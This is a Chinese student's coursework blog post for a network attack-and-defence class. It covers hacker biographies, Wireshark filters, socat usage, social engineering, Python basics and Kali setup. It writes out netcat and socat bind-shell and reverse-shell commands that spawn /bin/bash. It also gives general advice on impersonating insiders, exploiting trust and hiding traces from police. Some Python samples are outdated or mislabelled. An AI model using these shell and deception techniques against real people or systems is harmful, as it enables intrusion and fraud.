网络攻防第二周作业

岁酱吖の 提交于 2019-12-24 01:20:57

a.每个人至少查找1个国内著名黑客的信息、1个国外黑客的信息,不能重复

Vladimir Levin(符拉基米尔·列文)黑客

俄罗斯圣彼得堡Tekhnologichesky大学。大学里良好的数学训练形成了一个黑客组织。他是历史上第一个通过入侵银行电脑系统来获利的黑客。1995年,他侵入美国花旗银行并盗走1000万。1995年在Heathrow机场被国际刑警逮捕。 第一次接触电脑:未知,被指控使用圣彼得堡的AO Saturn一家计算机公司的办公室电脑来攻入城市银行。 鲜为人知的事实:列文宣称他的一个辩护律师实际上是FBI特工。 当前状态:列文为争取引渡到美国花了两年之久,但是他最后失败了。他被判三年,并向花旗银行赔偿240,015美元。从那时开始,花旗银行开始使用动态加密口令卡。这个系统太严密了,以至于没有其它公司使用它。

袁仁广 别名:大兔子(datuzi),人称袁哥

提起袁任广,晓得的人或许并不多。但假如提起袁哥或许大兔子,在国内安全业界称得上尽人皆知。在国内,他的windows系统方面的造诣可谓数一数二,早在1999年就曾提出过windows的共享破绽。而如今袁仁广领衔的360破绽研讨实行室被誉为“东半球最强大的白帽子军团”,并方案在大会现场收徒,传授的研讨方向为高级破绽哄骗技术。曾担任中国国度信息安全破绽库特聘专家,北京奥运会特聘信息安全专家,现任腾讯湛泸实行室担任人。


b.参考sectools,每个人至少查找5种安全工具、库等信息,并深入研究至少两种并写出使用教程,信息

Wireshark

Wireshark(在2006年夏季之前称为Ethereal,直到商标争议)是一款梦幻般的开源多平台网络协议分析器。它允许您检查实时网络或磁盘上捕获文件的数据。您可以交互式浏览捕获数据,深入了解所需的数据包详细程度。Wireshark具有多种强大的功能,包括丰富的显示过滤器语言和查看重建的TCP会话流的功能。它还支持数百种协议和媒体类型。一个tcpdump包括名为tshark的控制台版本。值得警惕的是,Wireshark已经遭受了数十个可远程利用的安全漏洞,因此需要时刻保持最新状态,并警惕它在不可信或有敌意的网络(如安全会议)上运行。

1 捕获过滤器

tcp port http #当我们使用默认的80端口进行HTTP通讯的时候 tcp port 8080 #当我们不使用默认的80端口进行HTTP通讯的时候,指定捕获过滤器去捕获特定的端口

2 显示过滤器

http #TCP SYN, ACKs, RST or FIN 包将不会被现实 tcp.port==80 #也可以指定其他端口 http.request.method == "GET“ http.request.method == “POST" 更具体的设置方式如下,可以设置更多参数: 

3 HTTP流量包结构

GET方式、POST方式的流量包结构

Socat

一种类似于历史悠久的Netcat的实用工具,可以通过多种协议和文件,管道,设备(终端或调制解调器等),套接字(Unix,IP4,IP6 - raw,UDP,TCP),SOCKS4客户端,代理CONNECT或SSL等。它提供分叉,日志记录和转储,进程间通信的不同模式以及更多选项。例如,它可以用作TCP中继(单步或守护进程),作为基于守护进程的socksifier,作为Unix套接字的外壳接口,作为IP6中继,用于将面向TCP的程序重定向到串行线路,或者建立一个相对安全的环境(su和chroot)来运行带有网络连接的客户端或服务器shell脚本。

工作原理:
四个阶段:
    初始化:解析命令行以及初始化日志系统
    打开连接:先打开第一个连接,再打开第二个连接,是单步执行的,第一个失败,直接退出
    数据转发:谁有数据就转发到另外一个连接上,read/write互换
    关闭:其中一个连接掉开,执行处理另外一个连接关闭
socat的netcat功能模块

远程链接端口

nc localhost 80
socat - TCP:localhost:80

监听端口

nc -lp localhost 233
socat TCP-LISTEN:233 

正向shell

nc -lp localhost 700 -e /bin/bash
socat TCP-LISTEN:700 EXEC:/bin/bash

反弹shell

nc localhost 700 -e /bin/bash

socat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane

代理与转发

将本地80端口转发到远程的80端口

socat TCP-LISTEN:80,fork TCP:www.domain.org:80

SSL连接

SSL服务器

需要首先生成证书文件

socat OPENSSL-LISTEN:443,cert=/cert.pem -

SSL客户端

socat - OPENSSL:localhost:443

fork服务器

可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务

socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld

不同设备的通信

socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr

将终端转发到COM1

socat READLINE,history=$HOME/.cmd_history /dev/ttyS0,raw,echo=0,crnl

c.学习教材《网络攻防技术》第一、二章并完成P45,p61的实践作业

1.社会工程学

第一步 信息刺探 善用你身边的信息

尽量利用现有所知道的信息,这些信息将能处理好突发事件,此类信息指的是规章、制度、方法、约定。规章,指的是一个行业的规章,我们可以认为是行规,或是内部约定,比如,货摊A为了抢掉货摊B的生意,故意压低价格来垄断是不对,违反了反不正当经营法了。 所以我们要尽量了解各行各业的之间的此类信息,比如校园,只有领导层内的人员才会拥有一份全校的师生的联系名单,服务行业通常有这样和那样的内部约定,了解此类信息对我们非常有利。

学习侦探的伪装

假设我们获取了目标部分信息,但必须通过对话得到更加敏感的信息,我们不可能直接让对方发现吧,所以我们得先完成身份的伪装。假设一个小菜的目标是某电器分行的销售部,那么我们最好伪装成另一分行的销售人员,而且我们知晓他们公司内部的销售术语,或我们再带一份分行销售报告书,我想对方一定不会怀疑你不是内部人员的。

人性的弱点

每个人都有心理弱点,没有人永远没有心理弱点。可以说,此部分是社会工程学重要的部分,他们能够利用人们的信任、乐于助人的愿望和同情心使你上当。那么,我们应该怎样去发现这类弱点呢?很简单,我们只要构造一个精心的问题,冒称他们的同事,设计一个帮助他们解决一个问题,那么,对方便会信任我们了,我们会更轻松获得想要的信息,而且更不容被发现。菜鸟们一定经常有很多问题吧,但他们总是茫目的去找一个人帮助,或是想认一个师父,我有个这样的经验,一个晚上我收了50个徒弟,然而只是开了一个玩笑,我的方法很简单,直接在Google搜索:本人找师父,或在qihoo搜索:找师父。然后帮助他们解决一个问题,两三句话便获取了他们的信任,有的还打算花钱请我,但我告诉他,只是开了一个玩笑,这个实例利用了他们对帮助的人信任。

组织信息 构造陷阱

假设我们通过目标的同事掌握了信息,比如目标的真实姓名、联系方式、作休时间…等等。这还不够的,高明的社会工程学师会把前前后后的信息进行组织、归类、筛选。以构造精心准备的陷阱,这样,可使目标自行走入。我打个比方吧,声明哦,

第二步 心理学的应用

从前面所说,我们知道人性的弱点在社会工程学中是重要的一部分,实际上,这是一种心理学的应用,是社会工程学的一个分支,本文从心理学角度分析社会工程学师凯文.米特尼克所著《欺骗的艺术》三个典型攻击案例,为大家揭开心理学在社会工程学中的应用。

第三步反查技术

什么是反查技术?即反侦查技术。在黑客攻击中,最重要的一部分不是成功侵入主机,而是清除痕迹,不要让管理者发现被侵入及数据被伪造。同理,社会工程学也有这样的概念,那么,我们得清除哪些痕迹以免遭网络0察(以下称之为网警)的发现?这一部分我们从网警角度来看问题,看看他们如何来能否找到社会工程师的蛛丝马迹。或者一句玩笑话:他们无法那么轻松找到一点痕迹。

安装攻击机和靶机

 

 

《黑客Hackers》(1995)

除了Sandra Bullock主演的《The Net》外,05年另外一部以未来网络世界为主题的科幻犯罪片《Hackers》也相当精彩。从今天的眼光看来,本片Cast堪称强大——虽然在当时他们都只是新晋演员:Johnny Lee Miller和Angelina Jolie联袂演出,但也许是对黑客的身份过度想象的缘故,两人的演出过于板着面孔。


d.学习PYTHON3 简明教程,并总结学习中遇到的问题

1.在语法规则上与c语言和java相似,但是在写法上有较大的区别。

physon中的判断
if True:
    print ("Answer")
    print ("True")
else:
    print ("Answer")
  print ("False")    # 缩进不一致,会导致运行错误

c语言中判断

if(true){
    print("hello")
}else{
     print ("False")
}

java中的判断

if(true){
    System.out. print("hello")
}else{
    System.out. print ("False")
}

2.python对数组的处理

import array
import binascii
s = 'This is the array.'
a = array.array('c', s)
print 'As string:', s
print 'As array :', a
print 'As hex  :', binascii.hexlify(a)

import array
import pprint
a = array.array('i', xrange(3))
print 'Initial :', a
a.extend(xrange(3))
print 'Extended:', a
print 'slice: :', a[2:5]
print 'Itetator:'
print list(enumerate(a))

3.Python中集合(set)的基本操作以及一些常见的用法

#!/usr/bin/env python
# -*-coding:UTF-8 -*-
set1 = set([1,2,3,4,5])
set2 = set([3,4,5,6,7])
#取交集
set3 = set1.intersection(set2)
# set3 = set1 & ste2  #取交集,与intersection()效果相同
print("set1和set2的交集为:",set3)
#取并集
set4 = set1.union(set2)
#set4 = set1 | set2   #取并集,与union()效果相同
print("set1和set2的交集为:",set4)
#取差集    这个地方要稍稍注意一下,防止进坑
set5 = set1.difference(set2)
#set5 = set1 - set2  #取差集 ,与difference()效果相同
print("set1与set2的差集为:",set5)
set6 = set2.difference(set1)
print("set2与set1的差集为:",set6)
#对称差集 -----即去掉两个集合的共同的部分
set7 = set1.symmetric_difference(set2)
#set7 = set1 ^ set2  #对称差集, 与symmetric_difference()效果相同
print("去掉两个集合的共同的部分:",set7)
#判断是否是set1是否是set2的子集
flag1 = set1.issubset(set2)
print("print(判断是否是set1是否是set2的子集):",flag1)
#判断是否是set1是否是set2的父集
flag2 = set1.issuperset(set2)
print("判断是否是set1是否是set2的父集:",flag2)
'''运行结果如下:
set1和set2的交集为: {3, 4, 5}
set1和set2的交集为: {1, 2, 3, 4, 5, 6, 7}
set1与set2的差集为: {1, 2}
set2与set1的差集为: {6, 7}
去掉两个集合的共同的部分: {1, 2, 6, 7}
print(判断是否是set1是否是set2的子集): False
判断是否是set1是否是set2的父集: False

3.python字符串的处理

一、字符串的连接和合并

相加 //两个字符串可以很方便的通过'+'连接起来

合并//用join方法

普通的分割,用split

split不支持多个分隔

phone='400-800-800-1234'

print(phone.split('-'))

>>['400', '800', '800', '1234']

e.学习云班课中的KALI视频(1-5)

1.安装kaili

 

 

 

 

 

 

 

kaili系统更新

更换更新源,命令行中执行一下命令

vi /etc/apt/sources.list

替换sources.list里面的内容

可以使用以下三个源(使用一个即可)

#kali官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main contrib non-free
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
#阿里云源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

执行apt-get update命令即可更新源

执行apt-get upgrade更新软件

vpn代理

打开终端输入命令:

Apt-get install network-manager-openvpn

Apt-get install network-manager-openvpn-gnome


结对博客:http://www.cnblogs.com/Jspo/p/8567916.html

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!